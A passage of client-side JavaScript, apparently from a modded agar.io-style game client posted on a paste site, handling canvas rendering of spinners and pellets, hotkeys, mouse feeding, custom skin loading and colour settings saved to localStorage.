  4652.                             self.t(data[0].name);
  4653.                         }
  4654.                         s.clearRect(0, 0, 32, 32);
  4655.                         s.save();
  4656.                         s.translate(16, 16);
  4657.                         s.scale(0.4, 0.4);
  4658.                         self.s(s);
  4659.                         s.restore();
  4660.                         var originalFavicon = document.getElementById("favicon");
  4661.                         var newNode = originalFavicon.cloneNode(true);
  4662.                         originalFavicon.parentNode.replaceChild(newNode, originalFavicon);
  4663.                     };
  4664.                 }();
  4665.                 jQuery(function() {
  4666.                     removeEventListener();
  4667.                 });
  4668.                 var throttledUpdate = function() {
  4669.                     function render(d, map, str, size, data) {
  4670.                         var s = map.getContext("2d");
  4671.                         var len = map.width;
  4672.                         map = map.height;
  4673.                         d.color = data;
  4674.                         d.t(str);
  4675.                         d.size = size;
  4676.                         s.save();
  4677.                         s.translate(len / 2, map / 2);
  4678.                         d.s(s);
  4679.                         s.restore();
  4680.                     }
  4681.                     var data = new set(-1, 0, 0, 32, "#5bc0de", "");
  4682.                     var dir = new set(-1, 0, 0, 32, "#5bc0de", "");
  4683.                     var codeSegments = "#0791ff #5a07ff #ff07fe #ffa507 #ff0774 #077fff #3aff07 #ff07ed #07a8ff #ff076e #3fff07 #ff0734 #07ff20 #ff07a2 #ff8207 #07ff0e".split(" ");
  4684.                     var items = [];
  4685.                     var i = 0;
  4686.                     for (; i < codeSegments.length; ++i) {
  4687.                         var bisection = i / codeSegments.length * 12;
  4688.                         var radius = 30 * Math.sqrt(i / codeSegments.length);
  4689.                         items.push(new set(-1, Math.cos(bisection) * radius, Math.sin(bisection) * radius, 10, codeSegments[i], ""));
  4690.                     }
  4691.                     shuffle(items);
  4692.                     var map = document.createElement("canvas");
  4693.                     return map.getContext("2d"), map.width = map.height = 70, render(dir, map, "", 26, "#ebc0de"),
  4694.                         function() {
  4695.                             jQuery(".cell-spinner").filter(":visible").each(function() {
  4696.                                 var body = jQuery(this);
  4697.                                 var x = Date.now();
  4698.                                 var width = this.width;
  4699.                                 var height = this.height;
  4700.                                 var context = this.getContext("2d");
  4701.                                 context.clearRect(0, 0, width, height);
  4702.                                 context.save();
  4703.                                 context.translate(width / 2, height / 2);
  4704.                                 var y = 0;
  4705.                                 for (; 10 > y; ++y) {
  4706.                                     context.drawImage(map, (0.1 * x + 80 * y) % (width + 140) - width / 2 - 70 - 35, height / 2 * Math.sin((0.001 * x + y) % Math.PI * 2) - 35, 70, 70);
  4707.                                 }
  4708.                                 context.restore();
  4709.                                 if (body = body.attr("data-itr")) {
  4710.                                     body = _(body);
  4711.                                 }
  4712.                                 render(data, this, body || "", +jQuery(this).attr("data-size"), "#5bc0de");
  4713.                             });
  4714.                             jQuery("#statsPellets").filter(":visible").each(function() {
  4715.                                 jQuery(this);
  4716.                                 var i = this.width;
  4717.                                 var height = this.height;
  4718.                                 this.getContext("2d").clearRect(0, 0, i, height);
  4719.                                 i = 0;
  4720.                                 for (; i < items.length; i++) {
  4721.                                     render(items[i], this, "", items[i].size, items[i].color);
  4722.                                 }
  4723.                             });
  4724.                         };
  4725.                 }();
  4726.                 var a = [];
  4727.                 var pauseText = 0;
  4728.                 var col = "#000000";
  4729.                 var from = false;
  4730.                 var Bt = false;
  4731.                 var near = 0;
  4732.                 var far = 0;
  4733.                 var name = 0;
  4734.                 var path = 0;
  4735.                 var count = 0;
  4736.                 var connected = true;
  4737.                 setInterval(function() {
  4738.                     if (Bt) {
  4739.                         a.push(pick() / 100);
  4740.                     }
  4741.                 }, 1E3 / 60);
  4742.                 setInterval(function() {
  4743.                     var tempCount = endsWith();
  4744.                     if (0 != tempCount) {
  4745.                         ++name;
  4746.                         if (0 == count) {
  4747.                             count = tempCount;
  4748.                         }
  4749.                         count = Math.min(count, tempCount);
  4750.                     }
  4751.                 }, 1E3);
  4752.                 jQuery(function() {
  4753.                     jQuery(init);
  4754.                 });
  4755.             }
  4756.         }
  4757.     }
  4758. }(window, window.jQuery), UI.afterGameLogicLoaded(), $(document).keydown(function(e) {
  4759.     if ("input" != e.target.tagName.toLowerCase() && "textarea" != e.target.tagName.toLowerCase() || 13 == e.keyCode) {
  4760.         var username = "";
  4761.         if (isValidHotKey(e) && (username = getPressedKey(e)), 18 == e.keyCode && e.preventDefault(), selectedHotkeyRow) {
  4762.             if (46 == e.keyCode) {
  4763.                 e.preventDefault();
  4764.                 selectedHotkeyRow.find(".hotkey").text(username);
  4765.             } else {
  4766.                 if ("" != username) {
  4767.                     e.preventDefault();
  4768.                     var codeSegments = $(".hotkey");
  4769.                     var i = 0;
  4770.                     for (; i < codeSegments.length; i++) {
  4771.                         if ($(codeSegments[i]).text() == username) {
  4772.                             return;
  4773.                         }
  4774.                     }
  4775.                     selectedHotkeyRow.find(".hotkey").text(username);
  4776.                     selectedHotkeyRow.removeClass("table-row-selected");
  4777.                     selectedHotkeyRow = null;
  4778.                 }
  4779.             }
  4780.         }
  4781.         if ("" != username) {
  4782.             if (hotkeyMapping[username]) {
  4783.                 e.preventDefault();
  4784.                 if (hotkeyConfig[hotkeyMapping[username]]) {
  4785.                     if (hotkeyConfig[hotkeyMapping[username]].keyDown) {
  4786.                         hotkeyConfig[hotkeyMapping[username]].keyDown();
  4787.                     }
  4788.                 }
  4789.             }
  4790.         }
  4791.     }
  4792. }), $(document).keyup(function(e) {
  4793.     if ("input" != e.target.tagName.toLowerCase() && "textarea" != e.target.tagName.toLowerCase() || 13 == e.keyCode) {
  4794.         var rt = "";
  4795.         if (isValidHotKey(e)) {
  4796.             rt = getPressedKey(e);
  4797.         }
  4798.         if ("" != rt) {
  4799.             if (hotkeyMapping[rt]) {
  4800.                 e.preventDefault();
  4801.                 if (hotkeyConfig[hotkeyMapping[rt]]) {
  4802.                     if (hotkeyConfig[hotkeyMapping[rt]].keyUp) {
  4803.                         hotkeyConfig[hotkeyMapping[rt]].keyUp();
  4804.                     }
  4805.                 }
  4806.             }
  4807.         }
  4808.     }
  4809. }), $("#overlays2").mousedown(function(e) {
  4810.     if (0 === e.button) {
  4811.         if (UI.isEnableMouseW) {
  4812.             if ("input" != e.target.tagName.toLowerCase() || "textarea" != e.target.tagName.toLowerCase()) {
  4813.                 UI.autoW = true;
  4814.                 handleQuickW();
  4815.                 e.preventDefault();
  4816.             }
  4817.         }
  4818.     } else {
  4819.         if (2 === e.button) {
  4820.             $("#opt_chatbox").click();
  4821.         }
  4822.     }
  4823. }), $("#overlays2").mouseup(function(e) {
  4824.     if (0 === e.button) {
  4825.         if (UI.isEnableMouseW) {
  4826.             if ("input" != e.target.tagName.toLowerCase()) {
  4827.                 if ("textarea" != e.target.tagName.toLowerCase()) {
  4828.                     UI.autoW = false;
  4829.                     e.preventDefault();
  4830.                 }
  4831.             }
  4832.         }
  4833.     }
  4834. });
  4835. var escapeHtml = function() {
  4836.     var buf = {
  4837.         '"': "&quot;",
  4838.         "&": "&amp;",
  4839.         "<": "&lt;",
  4840.         ">": "&gt;"
  4841.     };
  4842.     return function(messageFormat) {
  4843.         return messageFormat.replace(/[\"&<>]/g, function(off) {
  4844.             return buf[off];
  4845.         });
  4846.     };
  4847. }();
  4848. window.onbeforeunload = function() {
  4849.     return false;
  4850. };
  4851. var disconnectTimeout;
  4852. $(window).focus(function() {
  4853.     isWindowFocus = true;
  4854.     if (disconnectTimeout) {
  4855.         clearTimeout(disconnectTimeout);
  4856.     }
  4857. }).blur(function() {
  4858.     isWindowFocus = false;
  4859. }), jQuery.cachedScript = function(url, options) {
  4860.     return options = $.extend(options || {}, {
  4861.         dataType: "script",
  4862.         cache: true,
  4863.         url: url
  4864.     }), jQuery.ajax(options);
  4865. }, drawMinimapNodes(), xAzDisableZoom(), clearOldNodesData(), updateLbDiv(), updateScoreDiv(), $.cachedScript("https://cdnjs.cloudflare.com/ajax/libs/jquery.perfect-scrollbar/0.6.8/js/min/perfect-scrollbar.jquery.min.js").done(function(dataAndEvents, deepDataAndEvents) {
  4866.     chatRoom.createScrollBar();
  4867. }), $.cachedScript("js/jquery.toast.min.js").done(function(dataAndEvents, deepDataAndEvents) {
  4868.     var restoreScript;
  4869.     for (; restoreScript = toastQueue.shift();) {
  4870.         chatRoom.popup(restoreScript);
  4871.     }
  4872. });
  4873. var handleResource = function(timeoutKey, url) {
  4874.     if (timeoutKey && url) {
  4875.         if (!customSkin[timeoutKey]) {
  4876.             var img = new Image;
  4877.             img.onload = function() {
  4878.                 customSkin[timeoutKey] = this;
  4879.                 if (UI.getCustomSkinUrl() == timeoutKey) {
  4880.                     UI.changePreviewImage(this.src);
  4881.                 }
  4882.             };
  4883.             img.onerror = function() {
  4884.                 window.URL.revokeObjectURL(url);
  4885.                 skinDownloadFail[timeoutKey] = skinDownloadFail[timeoutKey] ? skinDownloadFail[timeoutKey] + 1 : 1;
  4886.                 log.error("Load image error");
  4887.             };
  4888.             img.src = url;
  4889.         }
  4890.     } else {
  4891.         log.debug(" ** null in download object url, return;");
  4892.     }
  4893. };
  4894. $("#backgroundColor").minicolors({
  4895.         defaultValue: getLocalStorage("backgroundColor") || "#000000",
  4896.         change: function(v, start1) {
  4897.             setLocalStorage("backgroundColor", v);
  4898.             $("body").css("background-color", v);
  4899.         }
  4900.     }), $("body").css("background-color", getLocalStorage("backgroundColor") || "#000000"), $("#borderColor").minicolors({
  4901.         defaultValue: getLocalStorage("borderColor") || "#ffffff",
  4902.         change: function(v, start1) {
  4903.             setLocalStorage("borderColor", v);
  4904.         }
  4905.     }), $("#pelletColor").minicolors({
  4906.         defaultValue: getLocalStorage("pelletColor") || "#ffffff",
  4907.         change: function(v, start1) {
  4908.             setLocalStorage("pelletColor", v);
  4909.         }
  4910.     }),
  4911.     $("#locationColor").minicolors({
  4912.         defaultValue: getLocalStorage("locationColor") || "#1A1A1A",
  4913.         change: function(v, start1) {
  4914.             setLocalStorage("locationColor", v);
  4915.         }
  4916.     }),
  4917.     $("#gridColor").minicolors({
  4918.         defaultValue: getLocalStorage("gridColor") || "#1A1A1A",
  4919.         change: function(v, start1) {
  4920.             setLocalStorage("gridColor", v);
  4921.         }
  4922.     }),
  4923.     $("#strokeTextColor").minicolors({
  4924.         defaultValue: getLocalStorage("strokeTextColor") || "#000000",
  4925.         change: function(v, start1) {
  4926.             setLocalStorage("strokeTextColor", v);
  4927.         }
  4928.     }),
  4929.     $("#fillTextColor").minicolors({
  4930.         defaultValue: getLocalStorage("fillTextColor") || "#FFFFFF",
  4931.         change: function(v, start1) {
  4932.             setLocalStorage("fillTextColor", v);
  4933.         }
  4934.     }),
  4935.     $("#virusColor").minicolors({
  4936.         defaultValue: getLocalStorage("virusColor") || "#333333",
  4937.         change: function(v, start1) {
  4938.             setLocalStorage("virusColor", v);
  4939.         }
  4940.     }),
  4941.     $("#virusStrokeColor").minicolors({
  4942.         defaultValue: getLocalStorage("virusStrokeColor") || "#555555",
  4943.         change: function(v, start1) {
  4944.             setLocalStorage("virusStrokeColor", v);
  4945.         }
  4946.     }),
  4947.     $("#minimapStrokeSelf").minicolors({
  4948.         defaultValue: getLocalStorage("minimapStrokeSelf") || "#ffffff",
  4949.         change: function(v, start1) {
  4950.             setLocalStorage("minimapStrokeSelf", v);
  4951.         }
  4952.     }),
  4953.     $("#minimapNames").minicolors({
  4954.         defaultValue: getLocalStorage("minimapNames") || "#FFFFFF",
  4955.         change: function(v, start1) {
  4956.             setLocalStorage("minimapNames", v);
  4957.         }
  4958.     });
  4959.     $("#chatColor").minicolors({
  4960.         defaultValue: getLocalStorage("chatColor") || "#999999",
  4961.         change: function(v, start1) {
  4962.             $(".sender").css("color", v);
  4963.             $(".toast_sender").css("color", v);
  4964.         }
  4965.     });
  4966.     $(".toast_sender").css("color", getLocalStorage("chatcolors") || "#999999");
Add Comment
Please, Sign In to add comment